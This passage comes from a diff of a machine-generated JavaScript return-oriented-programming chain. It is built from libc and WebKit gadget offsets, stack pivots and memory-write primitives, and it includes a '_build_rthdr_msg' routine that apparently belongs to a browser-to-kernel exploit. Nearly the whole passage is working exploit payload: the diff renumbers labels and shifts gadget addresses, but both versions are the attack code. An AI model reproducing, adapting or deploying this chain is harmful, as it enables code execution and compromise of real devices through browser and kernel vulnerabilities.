rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4038: -db([8, 0]); // 0x8 -set_gadget(libc_base+792472,); //pop rcx -//L4039: +//L4004: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4005: +db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L4040: +//L4006: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4041: +//L4007: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+241120, //L4044 +ropchain+240008, //L4010 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+241104, //L4043 +ropchain+239992, //L4008 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4043: +//L4008: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4044: +//L4010: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+241288, //L4047 +ropchain+240176, //L4013 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+241304, //L4048 +ropchain+240192, //L4014 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+241256, //L4045 +ropchain+240160, //L4011 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+241272, //L4046 +ropchain+240144, //L4012 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4045: +//L4012: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4046: +//L4011: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4047: +//L4013: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4048: +//L4014: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+241376, //L4049 +ropchain+240264, //L4015 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+241392, //L4050 +ropchain+240280, //L4016 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4049: +//L4015: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4050: +//L4016: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+241504, //L4053 +ropchain+240392, //L4019 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+241488, //L4052 +ropchain+240376, //L4018 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4051: +//L4017: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4052: +//L4018: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4053: +//L4019: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+241632, //L4055 +ropchain+240520, //L4021 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+241648, //L4056 +ropchain+240536, //L4022 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+241616, //L4054 +ropchain+240504, //L4020 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4054: +//L4020: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4055: +//L4021: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4056: +//L4022: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+241752, //L4059 +ropchain+240640, //L4025 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+241816, //L4062 +ropchain+240704, //L4028 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+241800, //L4061 +ropchain+240688, //L4027 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4059: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L4058: +//L4025: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4060: +//L4024: db([1, 0]); // 0x1 +set_gadget(libc_base+793877,); //pop rsi +//L4026: +db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4061: +//L4027: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4062: +//L4028: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al @@ -29853,302 +29678,302 @@ libc_base+389047, //setne al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+241936, //L4063+8 +ropchain+240824, //L4029+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+241928, //L4063 +ropchain+240816, //L4029 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L4063: +//L4029: db([0, 0]); // 0x0 set_gadgets([ -ropchain+241952, //L4063+24 -ropchain+243128, //L4057 +ropchain+240840, //L4029+24 +ropchain+242016, //L4023 libc_base+793877, //pop rsi -ropchain+242008, //L4066 +ropchain+240880, //L4030 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4064: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4066: +//L4030: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4031: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+242112, //L4069 +ropchain+241000, //L4035 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+242096, //L4068 +ropchain+240984, //L4033 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4068: +//L4033: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4069: +//L4035: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+242232, //L4071 +ropchain+241104, //L4036 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+242264, //L4073 +ropchain+241152, //L4039 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+242248, //L4072 +ropchain+241136, //L4038 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4070: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L4071: +//L4036: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4037: +db([8, 0]); // 0x8 set_gadget(libc_base+206806,); //pop rdi -//L4072: +//L4038: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4073: +//L4039: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+242368, //L4076 +ropchain+241256, //L4042 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+242352, //L4075 +ropchain+241240, //L4040 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4075: +//L4040: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4076: +//L4042: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+242536, //L4079 +ropchain+241424, //L4045 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+242552, //L4080 +ropchain+241440, //L4046 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+242504, //L4077 +ropchain+241408, //L4043 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+242520, //L4078 +ropchain+241392, //L4044 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4077: +//L4044: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4078: +//L4043: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4079: +//L4045: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4080: +//L4046: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+242624, //L4081 +ropchain+241512, //L4047 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+242640, //L4082 +ropchain+241528, //L4048 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4081: +//L4047: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4082: +//L4048: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+242752, //L4085 +ropchain+241640, //L4051 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+242736, //L4084 +ropchain+241624, //L4050 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4083: +//L4049: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4084: +//L4050: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4085: +//L4051: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+242880, //L4087 +ropchain+241768, //L4053 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+242896, //L4088 +ropchain+241784, //L4054 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+242864, //L4086 +ropchain+241752, //L4052 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4086: +//L4052: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4087: +//L4053: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4088: +//L4054: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+243016, //L4090 +ropchain+241888, //L4055 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+243048, //L4092 +ropchain+241936, //L4058 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+243032, //L4091 +ropchain+241920, //L4057 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4089: +//L4055: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L4090: +set_gadget(libc_base+793877,); //pop rsi +//L4056: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4091: +//L4057: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4092: +//L4058: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+243120, //L4094 +ropchain+242008, //L4059 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4094: +//L4059: db([0, 0]); // 0x0 -//L4057: +//L4023: set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+243240, //L4096 +ropchain+242128, //L4062 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+243256, //L4097 +ropchain+242144, //L4063 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+243224, //L4095 +ropchain+242112, //L4061 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4095: +//L4061: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4096: +//L4062: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4097: +//L4063: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+243360, //L4100 +ropchain+242248, //L4066 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+243408, //L4102 +ropchain+242296, //L4068 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+243392, //L4101 +ropchain+242280, //L4067 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4100: +//L4066: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L4099: +//L4065: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4101: +//L4067: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4102: +//L4068: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+243520, //L4103+8 +ropchain+242408, //L4069+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+243512, //L4103 +ropchain+242400, //L4069 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L4103: +//L4069: db([0, 0]); // 0x0 set_gadgets([ -ropchain+243536, //L4103+24 -ropchain+243552, //L4098 +ropchain+242424, //L4069+24 +ropchain+242440, //L4064 libc_base+811575, //pop rsp -ropchain+243568, //L4104 -//L4098: +ropchain+242456, //L4070 +//L4064: libc_base+811575, //pop rsp -ropchain+243584, //L4105 -//L4104: +ropchain+242472, //L4071 +//L4070: libc_base+811575, //pop rsp -ropchain+240704, //L4031 -//L4105: +ropchain+239592, //L3997 +//L4071: libc_base+793877, //pop rsi -ropchain+243664, //L4107 +ropchain+242552, //L4073 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+243648, //L4106 +ropchain+242536, //L4072 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4106: +//L4072: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4107: +//L4073: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -30158,17 +29983,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+243760, //L4108 +ropchain+242648, //L4074 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+243776, //L4109 +ropchain+242664, //L4075 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L4108: +//L4074: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4109: +//L4075: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -30178,19 +30003,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+243888, //L4110 +ropchain+242776, //L4076 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+243872, //L4111 +ropchain+242760, //L4077 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L4111: +//L4077: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L4110: +//L4076: db([0, 0]); // 0x0 -//L3986: +//L3952: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -30406,13 +30231,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+245216, //L4112 +ropchain+244104, //L4078 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L4112: +//L4078: db([0, 0]); // 0x0 -//L3940: +//L3906: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -30628,11 +30453,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+246544, //L4113 +ropchain+245432, //L4079 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L4113: +//L4079: db([0, 0]); // 0x0 //_build_rthdr_msg: set_gadget(libc_base+793877,); //pop rsi @@ -30640,97 +30465,97 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+246616, //L4115 +ropchain+245504, //L4080 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L4115: +//L4080: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+246680, //L4117 +ropchain+245568, //L4083 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L4117: +//L4083: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([16, 0]); // 0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4118: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L4120: +//L4084: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4085: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+246848, //L4123 +ropchain+245736, //L4089 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+246832, //L4122 +ropchain+245720, //L4087 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4122: +//L4087: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4123: +//L4089: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+247016, //L4126 +ropchain+245904, //L4092 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+247032, //L4127 +ropchain+245920, //L4093 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+246984, //L4124 +ropchain+245888, //L4090 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+247000, //L4125 +ropchain+245872, //L4091 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4124: +//L4091: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4125: +//L4090: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4126: +//L4092: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4127: +//L4093: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+247128, //L4129 +ropchain+246016, //L4095 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+247112, //L4128 +ropchain+246000, //L4094 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4128: +//L4094: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4129: +//L4095: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -30739,10 +30564,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L4130: +//L4096: db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L4131: +//L4097: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -30752,92 +30577,92 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+247336, //L4133 +ropchain+246224, //L4099 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+247352, //L4134 +ropchain+246240, //L4100 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+247320, //L4132 +ropchain+246208, //L4098 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4132: +//L4098: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4133: +//L4099: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4134: +//L4100: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+247424, //L4135 +ropchain+246312, //L4101 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+247440, //L4136 +ropchain+246328, //L4102 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4135: +//L4101: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4136: +//L4102: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+247632, //L4140 +ropchain+246520, //L4106 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+247584, //L4137 +ropchain+246472, //L4103 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+247600, //L4138 +ropchain+246488, //L4104 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+247616, //L4139 +ropchain+246504, //L4105 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4137: +//L4103: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L4138: +set_gadget(libc_base+793877,); //pop rsi +//L4104: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4139: +//L4105: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4140: +//L4106: db([0, 0]); // 0x0 set_gadgets([ libc_base+785347, //cqo ; idiv rsi libc_base+793877, //pop rsi -ropchain+247776, //L4143 +ropchain+246664, //L4109 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+272260, //mov rax, rsi libc_base+793877, //pop rsi -ropchain+247744, //L4141 +ropchain+246632, //L4107 webkit_base+7438103, //mov [rsi], rax -libc_base+272260, //mov rax, rsi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+247760, //L4142 +ropchain+246648, //L4108 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4141: +//L4107: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L4142: +set_gadget(libc_base+793877,); //pop rsi +//L4108: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4143: +//L4109: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -30846,10 +30671,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L4144: +//L4110: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4145: +//L4111: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -30867,37 +30692,37 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+247960, //L4147 +ropchain+246848, //L4113 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4147: +//L4113: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L4146: -db([1, 0]); // 0x1 set_gadget(libc_base+792472,); //pop rcx -//L4148: +//L4112: db([4294967295, 4294967295]); // 0xffffffffffffffff +set_gadget(libc_base+788575,); //pop rax +//L4114: +db([1, 0]); // 0x1 set_gadgets([ libc_base+582033, //xor rax, rcx libc_base+793877, //pop rsi -ropchain+248048, //L4149 +ropchain+246936, //L4115 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+792472 //pop rcx ]); -//L4149: +//L4115: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+248104, //L4152 +ropchain+246992, //L4117 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4152: +//L4117: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -30905,85 +30730,85 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+5202439, //and rax, rcx libc_base+793877, //pop rsi -ropchain+248200, //L4155 +ropchain+247072, //L4119 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4153: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L4155: +//L4119: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4120: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L4156: +//L4122: db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+248344, //L4160 +ropchain+247232, //L4126 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+248328, //L4159 +ropchain+247216, //L4124 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4159: +//L4124: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4160: +//L4126: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+248512, //L4163 +ropchain+247400, //L4129 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+248528, //L4164 +ropchain+247416, //L4130 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+248480, //L4161 +ropchain+247384, //L4127 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+248496, //L4162 +ropchain+247368, //L4128 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4161: +//L4128: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4162: +//L4127: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4163: +//L4129: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4164: +//L4130: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+248624, //L4166 +ropchain+247512, //L4132 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+248608, //L4165 +ropchain+247496, //L4131 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4165: +//L4131: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4166: +//L4132: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -30992,10 +30817,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi 